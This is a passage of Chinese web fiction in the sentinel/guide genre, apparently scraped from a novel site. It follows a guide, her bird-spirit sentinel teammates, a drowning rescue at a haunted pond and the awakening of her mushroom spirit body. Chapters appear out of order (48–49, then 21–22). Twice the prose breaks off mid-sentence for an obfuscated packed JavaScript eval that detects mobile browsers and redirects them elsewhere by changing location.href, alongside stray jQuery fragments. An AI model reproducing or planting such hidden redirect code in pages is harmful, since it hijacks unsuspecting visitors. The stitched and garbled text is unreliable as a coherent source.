她伸出手去碰,摸不到,是无形的,连接在两人之间,是精神力吗? 她在现实世界中看不见,在这里却能看见吗? 因为它太奇妙了,她看得久了些,没停下手,一直到男人再三求饶,才收回精神体。 见他满脸红潮,她有些不好意思,做过头了,“你现在觉得怎么样?” “很好,”像从水里浸出来般,他的手指扣向掌心,保持着理智道谢,门一打开,就狼狈地逃跑。 跑得这么快? 她躺在床上,忽然感觉到冷,用毛毯裹住全身,穿上御寒衣物,热量还是源源不断地散失,瑟缩发抖。 恰逢车窗被敲响,她摇下车窗,看见夏广礼的脸,打开门,让他进来。 他是来自荐枕席的。 “可以让它睡中间。”男人手上的是一只游隼,灰背头,白花裤,枯木纹理,眼睛溜圆,歪着脑袋看她,乖巧极了。 “也不是不行。” 大概就是同床共枕了吧。 夜越深,外面执勤的人轮换,游隼不知何时被推到一旁,因为冷,她下意识贴上去,两人肢体接触。 夏广礼晚上醒来,又掖好被角,才闭上眼睛。 48. 第 48 章 第二日,微光照进玻璃窗,透过挡光帘,在脸上留下碎花,女人睁开了眼,将脸从胳膊旁挪开,身旁已没有温度,他早就起床了。 徐珊珊伸了个懒腰,坐起来,才发现并不是没人,还有一只小游隼趴在枕头旁陪着她,伸手挠了挠它的耳朵,舒服地眯上眼睛。 她下床后,它也跟飞到肩上,摇下车窗。 天蒙蒙亮,山巅和山腰被光影截断,呈现两种颜色。 车外架子上,一盆冒着热气的水,澄明如镜,一下车,夏广礼递来一张小方巾,弯着嘴角。 徐珊珊:“你笑什么?” 她对着竖镜,才发现自己脸上多出一条红痕,应该是睡觉时,姿势改变,枕在脸上落下的,过会儿就好了。 她将手放在肩上,握住雄隼的翅膀,将它翻过来包住,递还回去:“你的鸟。” 夏广礼将它收回,女人俯身,将面巾放进盆中,打湿后擦脸,头发凌乱,后方打结,他从包中找出梳子,趁着这个功夫给她梳头。 “你轻点啊,别硬扯。” 她的担忧是多虑的,他知道怎么做,放松下来,三缕侧边发被抬起,发片被拧成团,然后是夹子插入发根。 他为什么要动夹子? 这个问题最终得到答案,化妆镜与面盆前的镜面形成反射,她看清了脑后的情形。 她有些惊讶,太正式了,这发型换身衣服都能上台了,他们不是在污染区,处于危险当中吗? 夏广礼:“怎么样,你喜欢吗?” 喜欢倒是……她还不知道他多久学会了这门手艺,两人走到昨夜的篝火边,现在只剩下一堆灰,取得早餐口粮。 也有好几样,先让她挑选后,男人才吃。 达伦队长也靠近坐下,两人看向她:“接下来你有什么打算?” 她有什么打算? 夏广礼接着解释,距离缩圈还剩一段时间,他们不急着跑图,队内商量好了。 这附近,曾经是著名的旅游区,自然风景恢弘壮阔,也许她会感兴趣。 “我们不应该去五十公里外的补给点吗?” 达伦:“你考虑得很充足,昨晚清点了一下物资,储备足够。” 好嘛,真郊游来了。她想了想,怪不得长官听她要和空战组一块参加,很快同意,这些“空少”们很悠闲呐。 会飞了不起吗? 事实上,会飞就是很了不起。 沙漠里,一列车队停下,引擎熄灭,车胎又陷进了沙里,领头的人一摔车门,下车处理。 一阵笑声从远处传来,群鸟出现在云层边缘,掠过的速度很快,趁着天气不热,他们得抓紧赶路。 昨天下午,水箱沸腾,不得不找个硬地停车,让它冷却,控制水温。 饶是如此,已是闷热得难受,但不远处就有一处季节性湖泊,他们得去那儿修整,然后赶路。 天知道为什么把他们刷新到沙海中央,距离安全圈十万八千里远。 “这还有鸟。” “哪有那么大的鸟,”他被旁人笑道,手中被塞入望远镜,“你看看是谁吧。” “鸟队的那群人。” 鸟队肯定发现他们了,只是不在意,才大大咧咧地飞过,毫不畏惧他们突然攻击。 既然对方不把他们放在眼里,那他们就趁机偷偷溜走。 不然对上了,骚扰、偷袭烦不胜烦,拥有制空权就掌握主动权。 被他们盯上了,走路最好抬头看天。 这车还得珍惜用,不然就得去找别的交通工具,找不到,就只能急行军了。 路远,要是突发意外,在赶途过程中被踢出局,那也太丢脸了。 车后盖被轻拍合上,众人往前推,车子缓缓开动,队长指示众人返回车上。 那人从望远镜中看清了,斥骂了一句,本来就浑身干热,现在更像是脱水了般,拍动椅背:“队长,快点吧。” 谁想的,给鱼发配到沙漠? 水草丰美的草原,漆上白装的雪山,干旱荒凉的戈壁滩,连绵起伏的沙漠,完全根据现实影像构建。 整整一天,仿佛在度假,中午在阴凉处休息,晚上又回到驻扎地。 但另一支小分队还没回来,他们去探路了,一直到很晚,才赶回来,狼狈不堪,还少了一个人。 清创、消毒、包扎,有个别哨兵的伤势比较重,口中被塞入毛巾,还没到用止痛针的时候,颤抖着,睁着眼,看男人拔出自己腿中的碎片。 他被抬到床板上休息,一人开始讲述事情经过。 他们踏入了食肉植物的陷阱,引来了污染物。其余人一听便明白,拍了拍肩膀,让他们好好先去休息,只有她还蒙在雾里,恰巧肖寒也在队列里,几乎没受伤。 她跟了他一路,男人发现,顿住脚步,转身回看:“向导小姐。” “你好,辛苦了。” 男人腼腆地笑了笑,“感谢您的疏导,”让他在突发灾难中,反应更快,动作迅敏。 她说明来意,男人向她解释:有许多食肉植物,它们能引诱、捕食、消化、吸收动物的营养,以供自身生长,主要方式是构造陷阱。 这支队伍的哨兵常来对污染物进行群体引诱,然后集中消灭,在某个地点,设置自动触发装置。 无论是污染物还是人,进入陷阱后,就极难逃脱,就可以采取各种方式消灭。 但那群人并没有埋伏其中,只是故意留下陷阱,他们触发机关被困,遭大批污染物围攻。 总之,对方就是把补给点的物资带走,顺手就把坏事给做了。 阴得没边了,不针对任何人,随手带走一个倒霉蛋。 肖寒:“不过我们已经摸到他们的行踪。” 徐珊珊:“要报复他们?” 男人点头,那支队伍如果隐藏起来,极难对付,满是陷阱。 但本身攻击力不强,如果趁其不备,一举消灭整支队伍,可除后患。 她听明白了,问他是否有什么需要,肖寒列了几个人名,请她去看看,他们在过程中受了伤。 男人始终低着头,抬眼看她,末了,补上一句:“如果您有余力的话。” 两人分开,她转身看到宋晓宇,他露出轻松的笑容,“风景怎么样?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218478|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐珊珊:“很好,这附近很漂亮,就是没看见什么活物。” 她看见许多人在收拾东西,问道:“明天我们要出发了吗?” 宋晓宇摇头:“你不去,我们今晚走。” 她的嘴微张,怎么这么突然,“你们是要……” 得到肯定答复,女人滚了滚喉咙,她没想到,这群人很记仇,而且有仇立马就要报。 毕竟这是对抗性比赛,他们是敌人,那位重伤退场的哨兵,已经算入对方的积分。 本来一队打算前期休战,游山玩水,不加入斗争。但既然有人挑起冲突,也不畏战。 两人聊完,她走向病员所在帐篷,不明白这有什么用,但仍然做了。 伤及大腿的哨兵,本闭着眼,忽然闻到甘甜、安心的气息,眼皮垂动,头蹭着枕头,一点点挪转。 一双温暖的手搭在额头,从上至下,覆上眼睛,生不起反抗的心,任凭着她闭合自己双眼,细腻的拇指在颊边滑动,网纱布比肌肤更粗糙,汗珠淌到领口,他才知道自己疼得冒汗。 疼痛像一缕烟,飘向远方,眼前一切如虚影飘忽,现实与梦境交织。 不久,只剩平稳、规律的呼吸,他们都睡着了。 徐珊珊也回到车上,靠在门边,夏广礼见她不睡,退出讨论,走过来。 他问她,是否是困了、饿了、闷了? 她摇头,只是担心他们,但话在口中,却说不出口,到最后,只问:“你们多久回来?” 夏广礼:“午饭前,路上会和。” 侦察兵今夜已去,夜行性鸟在黑夜里行动自如,能低空静音飞行。他们得了清晰定位,就会立即出发。 “你先睡吧,冷的话,我让人来陪你?” “不,不用了。” 他们没有倾巢出动,是看顾辎重和她的安全。只是,以少胜多,不知道胜算几何?只见他信心满满。 车门合上,顶灯昏黄。 她躺在后排座椅上,思绪很乱,睁着眼睛,天窗打开,空气流通,看群星跳跃。 后半夜,他们走了。 有什么东西跳上车顶,扒在顶棚,探头往里看,扑腾一下飞进来,落在枕边。 她轻吸一口气,打开灯,发现是一只老鹰,宋晓宇的精神体,见她不排斥,不一会儿,车内就塞满了大大小小的鸟类。 “谢谢。” 她关上天窗,躺在枕头上,于是它们都凑近来,站着,从下往上看,孩子们好多是眉压眼,眼神犀利,一张口就是嘤嘤嘤。 大概就是一个翻身,滚到她怀里,两条毛裤腿朝天,利爪收拢,拿头蹭她吧,猛禽撒娇,这谁忍得住,她上去就嘬了两口。 不患寡而患不均,她一这样做,其他鸟也骚动起来,乞食般扑动翅膀,但她有个办法治它们。 “啪——” 灯光熄灭,在全黑的环境里,它们立刻安静下来,有的坐着睡,有的趴着睡,有的是站着,将头埋在羽毛里。 车内暖和起来,她也迷迷糊糊睡着,被窝毛毯里,不时地鼓起一个包,又一个小团子钻进来,不知不觉间,已成起伏的山峦。 49. 第 49 章 次日清晨,车上的广播开始循环播报,缩圈开始了,他们用过早餐后出发。 达伦队长对地形非常熟悉,从这片坡驶出,驰向国道,它经年已久,皲裂破开,涂漆脱落,广告牌坠地,随着风起抖动发声。 他们行至中途,在一栋矮砖房旁停下,瓦楞盖灰,阳光雨露直撒屋内,他们暂做休息。 她坐在皮椅上,啃着鸡肉卷,却见达伦队长突然站起来,身边的人上前报告,车辆正确,还不能放下戒心,往前去。 直到它越来越近了,那熟悉的闪光灯,面容从玻璃后浮现,车窗摇下,群鸟飞出,才确定是他们回来了。 收缴的武器被摞在后备箱,物资、衣物,全部拨下来带走。队员状态良好,不像刚经历了一场恶仗的样子。 这就完事了?好像有点太顺利了。 难道不应该有什么追逐战,比如你逃我追,对方一下子就溃败了吗? 夏广礼笑容玩味,“昨晚睡得怎么样?” “还行。”见他盯着自己吞口水,徐珊珊想了想,加速把它吃完了,给他指了一条明路,“里面应该还有几包,你自己去找吧。” “傻瓜。”他可不是想跟她争抢食物。 一只手括在头顶,揉搓头发,她歪脖子,没躲过去,但他没放肆太久,从身后取出一个罐子,拉开拉环,里面是柠黄色液体。 夏广礼:“缴来的果汁。” “你不喝?” 他摇头说:“给你改善伙食。” 她没意见,饭后,照常搭帐篷休息,躲避烈日,篷布在风吹是摇晃,他们指着地形图,开始讨论,最终定下行动路线。 也许是地理位置的原因,周围的破坏痕迹比前处驻地更明显,说明这里污染物活动更频繁。 下午驾车,很多人在车上睡着了,也许是因为黎明的进攻消耗了太多的体力。 她是怎么发现的呢? 低头看向躺在大腿上的夏广礼,尽管路途颠簸,起伏时,头悬在空中又荡下来,还是没醒。 她曾听说,紧急情况,他们可以坚持一周不休息,而仍然保持大脑清醒,但是,怎么身边的这几位,看起来远不是那么回事。 左边躺着一位,右边肩膀也靠着一位。 大概她身边就是很好睡吧。只是这位哨兵的脸越贴越近,不拿头侧靠着肩膀,反而鼻梁挺向脖间,一呼一吸间,凉风拂背,一片酥痒。 达伦坐在副驾驶,透过隔板往回看,问她是否要换个位置,得到否定答案后,回头往前,只是不时见到她的手指搭在脸颊,用掌心挡住光线,太体贴,但对象不是他。 路很远,像坐一趟长途汽车,她也逐渐乏了,窗外景象大同小异,驾驶员不停轮换,每到中途休息,下车时,就感到屁股酸。 车停在路边,解决今晚的休息问题。 不远处有一片绿水潭,边上铺满圆润的鹅卵石,她站在远处看,没有走近,只见一片白色倒影,像少女的裙摆,等她再抬头看,却只是天空的云。 平静的生活在夜晚发生变故。 起因是她临时想上厕所,于是肖寒陪着她去,天已经黑了,她抬着手电筒,只是将灯口照在地上,只照亮几厘米。 等她再起来时,人已经不见了,她还以为他站在更远的地方,不想冒犯她,又打着手电,往回走了几步,光柱四扫,不见人影。 不是吧,就这么把她丢在这儿? 她有种隐隐的不安,步伐越来越快,来到马路边,见她上接不接下气,哨兵们看过来,夏广礼问:“怎么了?” 他四处瞟了一眼,没见肖寒的身影,皱起眉头,向导指向程柳林深处,语气惶恐:“他不见了——” 男人的表情变得凝重,肖寒应该是遇上了危险,夜已深,他立即告知众人,各人手持强灯,几人成组,往林子里探去。 黑夜虫叫,笔直的光线照不尽黑暗,但声音也渐小,那光点越来越远,那方向好像是水边。 等了一会儿,还没回来,就像人间蒸发般。他们在做什么?就算找不到,人也该回来了。 夏广礼又与达伦商议了一下,要看看究竟是什么东西在捣鬼,随身携带信号枪,一部分人留在外面。 猫头鹰从高空俯瞰,发现了那群人的身影,他们在往河边走,准确地来说,是跑,肖寒,义无反顾地往中心游去。 大半夜集体下河洗澡? 看起来像是受到精神污染,产生幻觉了。这个结论,让她有了同行的理由。 达伦:“珊珊向导,接下来要看你了。” 她和夏广礼几人往水源去,微弱光线笼在脸颊旁,她时刻注意着周围人的面部表情,是否有出格举动,小蘑菇蹲在她肩上,随时准备“净化”。 突然,夏广礼停下,耳朵微动,他表情变得凌冽,她毫不犹豫地拍了拍他的肩膀,“你要干嘛?” 光点就在前方,男人皱眉眯眼,往湖心看,又回头检查,劝说自己,心却莫名急躁、不安。 她在这里,那那个人是谁? 一行人靠近,潭水被搅乱,表面一阵波纹,中心处更是水花不断,只看到人仰头伸出水面,挣扎着想起来,一股臭味扑面而来,腐烂多日的尸体,蝇虫围绕。 “什么东西?” 她嘟囔道,又见几人要下水,急匆匆道:“夏广礼,快,快去制止他们。” “好。” 男人脱下厚重皮鞋,或者说,沙地上全是一排筒鞋,同行的其余几个人也同样如此,他们脱鞋要干嘛? 她掐了掐男人胳膊,不太放心,“让小蘑菇陪你去吧。” 夏广礼摇头说:“别担心,我还清醒。” 但在她再三要求下,还是让它跟着去了,将它送进胸口口袋,低声鼓励。准备工作完成,他靠近水潭边。 离得更近些,黑影挡在身前,宋晓宇不愿放她再靠近了,“前面危险。” “好。” 他们似乎起了争执,靠得近了,她才听清他们在说什么,大概就是喊着她的名字往水潭中央冲,然后想去扒拉那坨死肉,然后在中途被拉下水,精疲力竭吧。 不要喊着她的名字去捞一具尸体啊,看起来很壮烈忠贞,实则排队下饺子,给人送菜。 “我人在这呢。” 她站在岸边喊,希望他们能分清,她没落水啊,更糟糕的是肖寒,他被误导得最早,而今像被沉重的东西拖住,挣扎激烈。 “你们要干嘛啊——” 喊得嗓子痛了,但收效甚微,宋晓宇的突然靠近吓得她一激灵,见他挽袖子,担心地抓手,“你别走。” 大手回扣,十指相握,宋晓宇贴近了些,右手扣住女人的肩膀,将她揽在怀里,万一情况突变,他要带她走。 看着浅水区的争执平息,看来小蘑菇的存在是有用的,但受影响更深的人,根本不听他劝,奋力推开他,怒喝道:“夏队,你干嘛?” “珊珊向导落水了,你没看见吗?” 他指着腐尸,说话声饱含怒气,义正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236117|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言辞,再回头看,溺毙的女人,嘴唇发青,接着是毫不客气的警告。 “你再阻挠,我对你不客气了。” 她听清楚了,怒了,你们再发癫,我就对你们不客气了。不对,不是他们的错,是污染物的错。 好好好,精神控制是吧,看看谁更厉害。 她给精神体下令,转头问:“你觉得他们当中,谁能最快改变局势?” 宋晓宇给她指了一个哨兵,平时在队里不起眼,他的精神体为鱼鹰,也叫鹗,油性羽毛,脚趾可逆,专业下水捉鱼。 小蘑菇将胸领口的拉链拨开,伞盖冒出来,本来曲在里面,一下蹬直了,趁着男人阻挠其他人时,跳到了他的身边。 徐珊珊忙和夏广礼解释,要他打个配合。 菌丝沿着湿润的衣料往上,一直到皮肤裸露处,大脑一阵眩晕,身体一软,她倒靠在男人怀里,摇头,撑着手臂站起来。 小蘑菇第一次干这个,把握不好力道,她理解。 那名哨兵突然停脚,站着,往前、后方都看了一眼,调转方向,往回走。 宋晓宇:“成功了。” 当他靠近时,不敢置信般,水浸湿了脸庞,将嘴都覆上一层润膜,浑身轮廓昭然若现。 “向导小姐。” 她从他身上将小蘑菇接过来,它摸起来凉凉的,请他将他们带回来,首当其冲的是肖寒,恐怕他接近溺水了。 “是。”他忠诚地执行命令。 一只背部呈现暗褐色,腹部泛白的鹗缓慢振动翅膀,悬停在空中,在主人的指令下,往水潭中飞去,在上方圆圈状打转。 找到位置,它飞向高空,体型逐渐增大,再俯冲下来,快到水面时,两翅折合,急速降落,两腿伸出水中,溅起水花,将落水的人扣住。 别怕,渔夫来了。 夜鹰将肖寒丢在沙滩上,抖落水珠,因为他已经力竭了,没有反抗。宋晓宇将他摆成侧卧位,清除口鼻异物,脉搏微弱。 “他溺水了。”肖寒意识不清,四肢湿冷,面部浮肿,情急之下,她按照教学中的方式,做了人工呼吸和胸外按压。 终于,他逐渐恢复呼吸,不久,吐出一滩污水。 但其他人就没这么配合了,为了避免自己人打自己人,她让小蘑菇再返回水中,而自己负责唤醒每位上岸哨兵。 一次又一次下水,大显身手,黑影落在水面时,它简直像个战神。 在唤醒更多队员后,还有一些人也开始加入援救,包括一些海雕,但因为爪子太尖利,即使不合拢,不免在身上留下伤痕。 不久,他们就全员安全而归了,就是空中战神有点丢脸,各个都跟落汤鸡似的,好歹没人出事。 正所谓,术业有专攻,别看鹗平时是猛禽之耻,遇到特殊场合,还得它救场。但要说各式专精,还得看二队。 回到驻地,篝火燃起,哨兵们围坐一旁烤火,她也烤一下精神体,它的菌丝有些泡发了,到现在还在渗水。 徐珊珊:“真棒,是不是?” “你想要什么,好好奖励你。” 然后它在手臂上比了个记号,她一眼就看懂了,故作犹豫道:“我考虑考虑……” 喜欢喝快乐水,这个家伙,她只是逗逗它,在和队长商议后,答应了功臣的要求。 他们又在阴沟里翻车,这些陷阱真是数不胜数,他们商议后,请问她的想法,她当然答应,明天一早,就把那只“水鬼”给弄死。 敢动她的兵? 20-30 第21章 她的精神不太正常,在场众人都看出来,目光涣散,手脚不受控地胡乱摆动,头像小鸡啄米似的前后点动,像陷入幻觉,十分抗拒他人接近。 为免碰伤,曼努埃尔钳制住她,其余人围成扇形。 隔间门被逐个推开,阿瑞斯在最里侧发现了罪魁祸首,一颗手腕粗的毒蘑菇,它缩在墙边,一动不动,伞盖剔透得像白玉,混杂着粉色,底部菌丝聚拢成团。 怀疑她就是被这东西影响,脱掉上衣,臂膀露出来,包裹住手掌,扯住它的根系,倒吊着提出来,这会儿表现得倒像死物了。 先才还一蹦半米远,现在装死,晚了。 左肩上趴着的黑狮沿着肩膀走到右边,顺着肩胛骨,抬脚一跃,扑向手背,眼见它要伤害嫌疑犯,阿瑞斯扣住它的脖子,“别乱来。”另一只手拎着它的后颈,结果这两都悬在空中。 黑狮的四肢还不断伸长,似乎想抓挠另一颗蘑菇,攻击性这么强,它今天怎么了?阿瑞斯一面按住它,一面准备转交物证,放在自己这儿不太安全。 目光梭巡,绕过宋晓宇,将包裹着的真菌转交给蜜蜂兄弟,松手时自己的精神体又厉声嘶叫,不情愿地试图挣脱,被捶打两下才老实。 山昊先观察体征,无异样,嘴里还会说胡话,“长官,救我,有怪物……”想伸手接她,但对方紧抓着曼努埃尔不放,像当成了救命稻草,触碰时不停挣扎,还把人面罩给扯掉了,血色黏膜露出来,但无人在意,全部视线都聚焦于他怀里的女人身上。 “先带她出去,再搜一下这里。” 长期捂着的疤痕接触到空气,感到一丝凉意,曼努埃尔没空在意别人眼光,一只手臂钳制住上身,箍紧两只胳膊,另一只手抓住膝盖,箍得紧紧的,任由对方像蚕一样在怀里蛄蛹。 空战组的人领着他们走向医疗间。 白塔里不可能突然出现污染物,人员进出需要检查,每周都要消检,除非有人私自带入。 虽然它能致幻,但似乎没有嗜血欲,自从被发现后,缺乏攻击性,到目前为止,除了徐珊珊,没有其他人受它影响,产生异化。 比起污染物,倒更像是谁的精神体。找来检测仪探了一下,指示灯显现绿色,再照向阿瑞斯肩头的黑雾,橙红色,又找了几人检测,有深有浅,仪器没有问题。 那这只能是向导的精神体了,哨兵的不会这么低。 山昊令人调出走廊监控,今夜只有几人进出卫生间,询问后,说都没有见过这蘑菇,也没有别的向导来过。 那结果很明显,她召唤出精神体了,昨夜的昏睡是觉醒的前兆,而现在,应该是被误伤了,考虑到这么多年,她和自己的精神体没见过面,把它认成怪物也很正常。 结论出来,室内的众人都沉默了,被自己的精神体吓晕还是头一份,像是有点火力全打在自己人身上了。洛伦斯也愣了一下,看向手里的精神体,力道松懈,向导小姐的精神体?刚才抓得有点用力了。 解逸飞提来一个金属笼,“还不清楚它的能力,可能有一定致幻性,先放进去,等她醒来再说。”洛伦斯点头,揭开布料,将它放入,笼门紧锁。 女人被平躺着抬到一张束缚床上,脖子、手、腰、脚踝都被束带勒住,口中塞上胶球,放置咬舌,这本是用来铐出现异化的哨兵,今天有了另一种用途。 她的迷乱持续了不到两分钟,身体停止抖动,眼珠不再乱转,逐渐恢复清明。 而那颗蘑菇则扣在合金罩里关着,透过监控和可视窗可以看清里面的动态,见没人了,它开始扒拉自己的菌丝,逐渐爬满内部,一旦有人靠 近,就开始装死。 怎么感觉这脾气有点像…… 眼皮轻颤,她要醒了,醒过来第一个见到的人就是长官,其他人也凑上来,平时嫌他凶,此时却觉得可靠,泪水扑簌簌地落下,“唔唔,”只能发出呜咽声。 听到她的哭声,众人扑过来,围成一圈,每张脸上都是担心的神情。曼努埃尔心神一颤,头侧倾,知道她没事了,重新戴好面罩,找个空位看着。 她手指挣动,但手腕抬不起来,只能侧过头示意。眼神恢复神采,重新聚焦,看来是清醒了,一只手取下她嘴里的东西,她终于能张嘴了,“长官,有怪物要吃我!” 泪水完全掉下来,太恐怖了,有好多“鬼”围着她,阴恻恻地想拿戟刺穿她烤肉。 “你说的怪物是这个吗?” 一个金属笼被提过来,透过可视窗,看见里面的蘑菇,瞪大了眼睛,害怕地后缩,“对,就是它,它会跳!” 如果不是手被铐着,她简直想缩到对方身后,会跳的鲜艳蘑菇,难道这不诡异吗?蘑菇是真菌不是动物,它不会动,不能动,那家伙扭着伞柄一蹦老高,一看就不是什么正经菌。 见她看过来,菌丝生长,甚至还往金属里钻,冒出尖,这惊人的渗透力,解逸飞将它抬远,取出更高级别的隔离罩,把它关进去,按照种族习性,将温度调高,果然不一会儿就恹恹地停止活动了。 山昊:“它是怎么出现的?” 见她好转,夏广礼亲自动手,将束带解开,上半身逐渐恢复自由,接着是下身,终于能坐起身,一杯温水被递到手边,夏广礼挡在她和金属罩之间。 额上冒出冷汗,她开始回忆那段经历,陈述完后,众人沉默,她环视一圈,诧异道:“你们不会不信吧?真的!” 见有人默不作声地转头,身体颤抖,发出压抑的喉音,好像她在说胡话一般。她绷不住了,“他们把我吊起来,要用火烤我,” 解逸飞:“我相信你。” “还是队长好。” 哟,这就好了?阿瑞斯努了努嘴,不置可否。 “你出现幻觉了,我在你身边,没有人能拿你做烤肉,”山昊看向隔离罩,不着痕迹地引导:“它的污染程度很低,应该不是污染物,而是精神体。” “那太坏了,谁拿精神体吓唬我?!” 她一定跟他势不两立,这些天来到白塔,她一直矜矜业业,工作、交友都如履薄冰,谁也不招惹,怎么还无缘无故来害她?这口气她咽不下去,一想到那恐怖场景,估计能形成心理阴影。 拧着眉,气愤地看向在场的每一位哨兵,他们只是鼓着脸,似乎在憋笑,惹得她更气了,贝齿咬着下唇,难道是合伙起来整她,嘴巴撅起来,有点难过,亏她还把他们当朋友。 见她想不通,还产生误会,山昊便直接戳破,“那是你的精神体。” “我?” “对,你看,”他一一数去,“空战组的人,真菌会飞吗?”手指向自己,“蜘蛛,”看向曼努埃尔,“灰狼,阿瑞斯是狮子,这里没有别人了。” 可是……真菌也不会跳啊,它会蹦跶,也有可能会飞吧。 一时无法接受这个现实,夏广礼转身接过隔离罩,提到她跟前,通过监控她看见了里面的粉嫩蘑菇,短胖肥美,菌丝倒很长,看起来很好吃,但战力就不敢想象了。 自由飞鸟的梦在离她远去,兔子也行啊,哪怕是株草呢? 了解二者关系,她也没那么害怕了,手掌覆上金属表面,看到里面的家伙也往这边长出菌丝,奇异的是,它好像只有这么长,这根变长另一根就变短。 算了,都穿越了,还讲什么物理。 “小家伙,你有什么用?”话刚说出口,她就觉得自己有点太功利了,它还只是一个刚出生的宝宝。 她看向夏广礼,“可以打开吗?” 担心失控,夏广礼将隔离罩拿远了,戴上手套,“不急着接触,它还没法很好地控制自己的能力。” “好,”那罩子向上收拢,它的菌须蠢蠢欲动,又想蹦出来,靠近主人,又害怕被这群人攻击,刚才那只“猫”也够吓人的。 时刻准备着,见它还算老实,其他人也松了口气。 “嗨,”她稍稍点头打招呼,“你能听到吗?” 它摆了个圈,因为菌丝不能断开,像一个歪斜的阿拉伯数字九,意思是能,这也太古怪了,你连耳朵这个器官都没有,为什么能听见。 “那你能看见吗?” 还是一个圈,哇塞,嘴往两边张开,我的超能力菌,“你认识我吗?” 它比了个心,好家伙,还真是她的精神体,两人一体两面,她忍不住埋怨:“为什么要吓唬我?” 它开始摆成波浪线,似乎不知道怎么表达,最终画了一个叉。因为自己的精神体也经常闯祸,阿瑞斯忍不住帮它辩解两句,“它可能还控制不住自己,不是故意的。”菌丝表示赞同。 算了,没必要自己为难自己,谁没干过错事呢。 “下次不许了。”它又摆了一个圈。 “好吧,那你过来。” 于是众人就看见一颗跳动的蘑菇,从空中一跃到束缚床的围栏,然后又跳到她腿上,伸手戳了戳,只见对方又把自己盘成一团。 诡异,太诡异了。她感觉自己有点掉san了,但总会熟悉的,她洗脑自己,其实蘑菇是会动的,没什么大不了,真菌可是自然界的分解者,没有我们真菌,碳循环怎么正常流动,我了不起,我骄傲。 这样想着,逐渐接受它。 女人看了一会儿,没出现众人担心的抵触情绪,反而是把玩了起来,对方却害羞地躲着她,只准她碰菌须,不准摸上方的子实体。 “好吧,给你取个名字吧。” 它伞盖的粉色流动,显然很期待,“小白怎么样?” 没想到得到这样敷衍的命名,它愤愤地画了个叉,表达不满意。 “不喜欢,那小粉怎么样?”她故意逗它,小小的报复一下。 “徐珊珊,”她抬起头,长官来话,“你试着把它收回去。”看来他是担心自己跟阿瑞斯一样,精神体出问题。 “你能回去吗?”她也不知道怎么操作,问了一句,对方就突然消失了,于是摊开手,看向众人。 “不好意思各位,让你们担心了。” 一场闹剧落下帷幕,这一晚的紧张刺激,让众人的心像坐过山车一样,跌宕起伏,在化解这场危机后,连雄竞的心都没了,只剩下感激和后怕。 没再继续停留或挽留,后续的表演活动被取消,一行人送她回宿舍,不断加人,直到电梯发出警告,才不得不下去,目送他们离开。 “明天我给你请假,好好在宿舍休息。” “明天是我第一天上班啊?”她看向长官,提出疑惑,对方幽幽地盯着她,直到把她逼得低下头,收回疑问。 “待在宿舍好好休息。”没得商量,不容许更多意外状况发生。 “好,长官!” 第22章 回到宿舍,像进入了另一个世界,极安静、没有任何人打扰,窗外寂寥无人,只有山岗上的点点星光。 房间宽阔,墙体厚实,隔音效果强,灯光开启,她简单地洗漱了一下,没多少睡意。 不一会儿,背包和纸箱被机器人送到门前,里面放着借阅的图书、卫生用品、礼物和手工材料。与此同时,长官来信:【东西我让人送上去了,明天休息,可以和你的精神体多接触一下】 【有什么问题,随时联系我】 接着甩过来一个链接,下面是账号和密码:【下载这个软件,这是治疗室终端。你可以在上面查看访客,设置偏向,对不礼貌的哨兵进行拉黑、投诉】 她回复:【好的,长官。我下去研究研究】 打开门,让小机器人进来,指着桌子,让它将东西放在上面。 周日晚上惬意无比 ,更爽的是明天也不用上班。 她从袋中掏出一团纯黑色的羊毛,取出固定工具,坐在书桌前,一边登录星网听歌,一边取出一片羊毛,开始戳戳戳。 前奏抓耳,听着听着,腿不自觉地跟着抖动,它节奏感强,旋律轻快,将它收藏进歌单,点开歌词翻译一看,隐晦的小黄歌。 没关系,反正她听不懂,还是个人创作歌手,唱得不错,点个关注。 时间无声流逝,后腰泛酸,只做好两边翅膀的底,收起来明天接着做,既然不能送,她打算给自己做小动物手办,留作纪念,摆满展示柜,一定很壮观。 从冰箱里取出一瓶碳酸饮料,浏览新闻,头条消息是南部失地有显著进展,点击加载,网页冒出一个红色感叹号,后面提示:部分画面可能引起不适,请慎重观看。 点击确认,果然看到血肉模糊的现场,喝口冰镇可乐压压惊,循环外放刚才的歌曲,往下滑动,不知觉时,精神体出现,蹲在她的左手边,一起观看。 它不占位置,也不发出声音,是个很好的搭子。说完这句话就出问题了,那家伙蹦到前面,菌丝铺满整张屏幕,好像对画面里的内容很感兴趣。 那都是污染物啊,被渗透的土壤、河流、湖泊。它却跟看到什么美食似的,一见到就扑上去了,倒拎着放回桌上,因为它不愿意让自己碰上面,就只能拽住菌丝。 “那是假的,”她对这家伙有点头疼,将易拉罐递过去,“喝不喝饮料?” 它还真把菌丝抬起,搞得她有些奇怪,“等一下。”真喝啊你,她怎么不知道精神体还要吃东西,上网搜了一下,发现多数精神体无需进食。没办法,只能给领导发消息。 【长官,我的精神体想吃东西。】接着向他描述了一下情况。 提示音响起时,卫生间暖灯发热,热水从顶部灌下,头发浸湿,在皮肤表面覆上一层水膜,关闭龙头,手伸向毛巾,擦干看消息,回复道:【正常,不要喂被污染的食物】 她的手放在旋钮上,控制屏幕亮度,亮起、关闭、亮起、关闭,看菌丝一次次伸手接触屏幕,又缩回来,逗小孩真有意思。 【它好像就想吃污染】 …… 